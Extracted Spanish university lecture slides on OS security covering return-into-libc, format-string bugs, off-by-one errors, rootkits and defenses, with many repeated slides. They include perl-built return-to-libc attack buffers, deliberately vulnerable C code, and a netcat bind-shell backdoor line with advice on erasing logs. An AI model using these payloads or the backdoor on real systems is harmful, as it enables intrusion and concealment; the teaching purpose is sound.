El documento resume diferentes técnicas de ataque y defensa en sistemas operativos, incluyendo return-into-libc, vulnerabilidades de formateo de cadena, y la técnica off-by-one. Explica cómo estas técnicas como return-into-libc permiten la ejecución de código sin necesidad de shellcode en pilas no ejecutables, y cómo las vulnerabilidades de formateo de cadena pueden ser explotadas para controlar la pila y el flujo del programa. También advierte sobre los errores off-by-one que pueden ocurrir al
1. Seguridad en Sistemas Operativos
Ataque y Defensa
Jacobo Avariento Gimeno
jacobo@sofistic.net
22 de junio de 2011
Universitat Jaume I
2. 1 Brev´ısimo repaso a la sesi´on anterior
2 “Return-into-libc“
3 Vulnerabilidades de formateo de cadena
4 T´ecnica ”off-by-one”
5 Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on
6 r00tkits
7 Virtualizaci´on
8 Defensa: Consejos generales
3. Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Espacio de Memoria Virtual de un proceso
Jacobo Avariento Seguridad en Sistemas Operativos
4. Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Disposici´on de la pila
Jacobo Avariento Seguridad en Sistemas Operativos
5. Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Versi´on extendida
push %eip ; call
mov %ebp, %esp ; leave, p.I
pop %ebp ; leave, p.II
pop %eip ; ret
Jacobo Avariento Seguridad en Sistemas Operativos
6. Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Versi´on extendida
push %eip ; call
mov %ebp, %esp ; leave, p.I
pop %ebp ; leave, p.II
pop %eip ; ret
Jacobo Avariento Seguridad en Sistemas Operativos
7. Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
Trinity hacking...
Explotaci´on real de un buffer overflow en SSH v1 :-)
Pr´actica
Youtube: Trinity SSHnuke and Nmap
http://www.youtube.com/watch?v=ojFFS T3UQk
Teor´ıa
Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus,
2003.
http://www.securityfocus.com/news/4831
Jacobo Avariento Seguridad en Sistemas Operativos
8. Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
Trinity hacking...
Explotaci´on real de un buffer overflow en SSH v1 :-)
Pr´actica
Youtube: Trinity SSHnuke and Nmap
http://www.youtube.com/watch?v=ojFFS T3UQk
Teor´ıa
Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus,
2003.
http://www.securityfocus.com/news/4831
Jacobo Avariento Seguridad en Sistemas Operativos
9. Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
Trinity hacking...
Explotaci´on real de un buffer overflow en SSH v1 :-)
Pr´actica
Youtube: Trinity SSHnuke and Nmap
http://www.youtube.com/watch?v=ojFFS T3UQk
Teor´ıa
Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus,
2003.
http://www.securityfocus.com/news/4831
Jacobo Avariento Seguridad en Sistemas Operativos
10. Seguridad en Sistemas Operativos
“Return-into-libc“
T´ecnicas de explotaci´on en pilas no ejecutables:
”Return-into-libc”
Jacobo Avariento Seguridad en Sistemas Operativos
11. Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
12. Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
13. Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
14. Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
15. Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
16. Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
17. Seguridad en Sistemas Operativos
“Return-into-libc“
Preparaci´on
Buffer de ataque
Idea
RELLENO + DIR FUNC LIBC (EIP) + RELLENO (4B) + ARGS
Ataque
RELLENO + DIR SYSTEM LIBC + DIR EXIT LIBC + "/bin/sh’’
Jacobo Avariento Seguridad en Sistemas Operativos
18. Seguridad en Sistemas Operativos
“Return-into-libc“
Preparaci´on
Buffer de ataque
Idea
RELLENO + DIR FUNC LIBC (EIP) + RELLENO (4B) + ARGS
Ataque
RELLENO + DIR SYSTEM LIBC + DIR EXIT LIBC + "/bin/sh’’
Jacobo Avariento Seguridad en Sistemas Operativos
19. Seguridad en Sistemas Operativos
“Return-into-libc“
Preparaci´on
C´omo obtener las direcciones
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eaea20 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ea4370 <exit>
0xbffff45e: "TERM=xterm-color"
0xbffff46f: "SHELL=/bin/bash"
0xbffff47f: "HISTSIZE=1000"
Jacobo Avariento Seguridad en Sistemas Operativos
21. Seguridad en Sistemas Operativos
“Return-into-libc“
Explotaci´on
Ejemplo
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x70x43xeaxb7" . # Dir. de exit()
"x41x41x41x41" . # Dir. de retorno (~ pop %eip)
"x23" # 1er argumento
’)
$ echo $?
35
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x20xeaxeaxb7" . # Dir de system()
"x70x43xeaxb7" . # Dir. de retorno (exit)
"x75xf4xffxbf"’) # Puntero a ‘‘/bin/bash’’
Jacobo Avariento Seguridad en Sistemas Operativos
22. Seguridad en Sistemas Operativos
“Return-into-libc“
Explotaci´on
Ejemplo
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x70x43xeaxb7" . # Dir. de exit()
"x41x41x41x41" . # Dir. de retorno (~ pop %eip)
"x23" # 1er argumento
’)
$ echo $?
35
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x20xeaxeaxb7" . # Dir de system()
"x70x43xeaxb7" . # Dir. de retorno (exit)
"x75xf4xffxbf"’) # Puntero a ‘‘/bin/bash’’
Jacobo Avariento Seguridad en Sistemas Operativos
23. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Vulnerabilidades de formateo de cadena
“Format String”
Jacobo Avariento Seguridad en Sistemas Operativos
24. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%s: cadena
%d: entero
%o: base octal
%x: base hexadecimal
%c: caracter
% %: s´ımbolo %
Jacobo Avariento Seguridad en Sistemas Operativos
25. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%s: cadena
%d: entero
%o: base octal
%x: base hexadecimal
%c: caracter
% %: s´ımbolo %
Jacobo Avariento Seguridad en Sistemas Operativos
26. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%n: Escribe en la variable apuntada el # de caracteres le´ıdos
Fichero show formatstring0.c:
int main() {
int a;
printf("Hola%nn", &a);
printf("Caracteres leidos: %dn", a);
return 0;
}
Salida:
Hola
Caracteres leidos: 4
Jacobo Avariento Seguridad en Sistemas Operativos
27. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%n: Escribe en la variable apuntada el # de caracteres le´ıdos
Fichero show formatstring0.c:
int main() {
int a;
printf("Hola%nn", &a);
printf("Caracteres leidos: %dn", a);
return 0;
}
Salida:
Hola
Caracteres leidos: 4
Jacobo Avariento Seguridad en Sistemas Operativos
28. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%n: Escribe en la variable apuntada el # de caracteres le´ıdos
Fichero show formatstring0.c:
int main() {
int a;
printf("Hola%nn", &a);
printf("Caracteres leidos: %dn", a);
return 0;
}
Salida:
Hola
Caracteres leidos: 4
Jacobo Avariento Seguridad en Sistemas Operativos
29. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Vulnerabilidad
C´odigo MUY vulnerable
Fichero vuln fs.c:
int main() {
char user_input[512];
gets(user_input);
printf(user_input);
}
Salida:
$ ./vuln_fs
hola
hola$
Jacobo Avariento Seguridad en Sistemas Operativos
30. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Vulnerabilidad
C´odigo MUY vulnerable
Fichero vuln fs.c:
int main() {
char user_input[512];
gets(user_input);
printf(user_input);
}
Salida:
$ ./vuln_fs
hola
hola$
Jacobo Avariento Seguridad en Sistemas Operativos
31. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Explotaci´on
Otra ejecuci´on }:-)
$ ./vuln_fs
%x%x%x%x
1b7fff280b7fe245078257825$
Jacobo Avariento Seguridad en Sistemas Operativos
32. Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Explotaci´on
Consideraciones para el ataque
Control total sobre la pila, y en consecuencia sobre el flujo del
programa
Con varios %x podemos desapilar y llegar hasta el EIP
Con %An %An %An %An podemos sobreescribir punteros
Opciones: EIP, punteros a funci´on, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
33. Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
T´ecnica “off-by-one“
Upps... por uno :(
Jacobo Avariento Seguridad en Sistemas Operativos
34. Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Intro
Ejemplo
C´odigo VULNERABLE
char buffer[256];
int i;
for (i=0; i<= 256; i++)
buffer[i]= i;
Jacobo Avariento Seguridad en Sistemas Operativos
35. Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
36. Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
37. Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
38. Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
39. Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
40. Seguridad en Sistemas Operativos
Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on
Conclusiones sobre las t´ecnicas ”b´asicas“ de
explotaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
41. Seguridad en Sistemas Operativos
Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on
Ya hemos visto las t´ecnicas cl´asicas, pero NO est´an obsoletas:
Estas t´ecnicas NO s´olo sirven para explotar programas en
C/C++.
Los int´erpretes m´as comunes (Python, PHP, Java, . . . )
tambi´en son propensos a ataques desde los programas
interpretados
Ejemplo extremo: desde un v´ıdeo flash se puede inyectar
c´odigo m´aquina (JIT Spraying:
http://www.youtube.com/watch?v=HJuBpciJ3Ao)
Jacobo Avariento Seguridad en Sistemas Operativos
43. Seguridad en Sistemas Operativos
r00tkits
r00tkits, backdoors, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
44. Seguridad en Sistemas Operativos
r00tkits
Intro
Ya hemos usado una de las t´ecnicas de explotaci´on vistas y
somos root =D
Ahora qu´e?
Borrar rastro y asegurarnos la entrada.
C´omo?
Usando r00tkits (backdoors, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
45. Seguridad en Sistemas Operativos
r00tkits
Intro
Ya hemos usado una de las t´ecnicas de explotaci´on vistas y
somos root =D
Ahora qu´e?
Borrar rastro y asegurarnos la entrada.
C´omo?
Usando r00tkits (backdoors, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
46. Seguridad en Sistemas Operativos
r00tkits
Intro
Ya hemos usado una de las t´ecnicas de explotaci´on vistas y
somos root =D
Ahora qu´e?
Borrar rastro y asegurarnos la entrada.
C´omo?
Usando r00tkits (backdoors, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
47. Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
48. Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
49. Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
50. Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
51. Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
52. Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
53. Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
54. Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
55. Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
56. Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
Red or blue pill...
Jacobo Avariento Seguridad en Sistemas Operativos
57. Seguridad en Sistemas Operativos
r00tkits
Defensa
Detectores y neutralizadores de r00tkits
En Win: RootkitRevealer
http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx
En GNU/Linux: patch /dev/kmem (Fedora y RHEL kernels)
+ no usar LKM
Jacobo Avariento Seguridad en Sistemas Operativos
58. Seguridad en Sistemas Operativos
r00tkits
Defensa
Detectores y neutralizadores de r00tkits
En Win: RootkitRevealer
http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx
En GNU/Linux: patch /dev/kmem (Fedora y RHEL kernels)
+ no usar LKM
Jacobo Avariento Seguridad en Sistemas Operativos
59. Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
60. Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
61. Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
62. Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
63. Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
64. Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
65. Seguridad en Sistemas Operativos
r00tkits
Defensa
Arquitectura de SELinux
Jacobo Avariento Seguridad en Sistemas Operativos
66. Seguridad en Sistemas Operativos
Virtualizaci´on
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
67. Seguridad en Sistemas Operativos
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
71. Seguridad en Sistemas Operativos
Virtualizaci´on
Arquitectura de Qubes
Jacobo Avariento Seguridad en Sistemas Operativos
72. Seguridad en Sistemas Operativos
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
73. Seguridad en Sistemas Operativos
Virtualizaci´on
Defensa
La virtualizaci´on parece la soluci´on definitiva :-)
NO!! Bugs en la CPU :-(
Jacobo Avariento Seguridad en Sistemas Operativos
74. Seguridad en Sistemas Operativos
Virtualizaci´on
Defensa
La virtualizaci´on parece la soluci´on definitiva :-)
NO!! Bugs en la CPU :-(
Jacobo Avariento Seguridad en Sistemas Operativos
75. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Defensa: Consejos generales
Jacobo Avariento Seguridad en Sistemas Operativos
76. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
77. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
78. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
79. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
80. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
81. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
82. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
83. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
84. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
85. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
86. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
87. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
88. Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
89. Seguridad en Sistemas Operativos
Defensa: Consejos generales
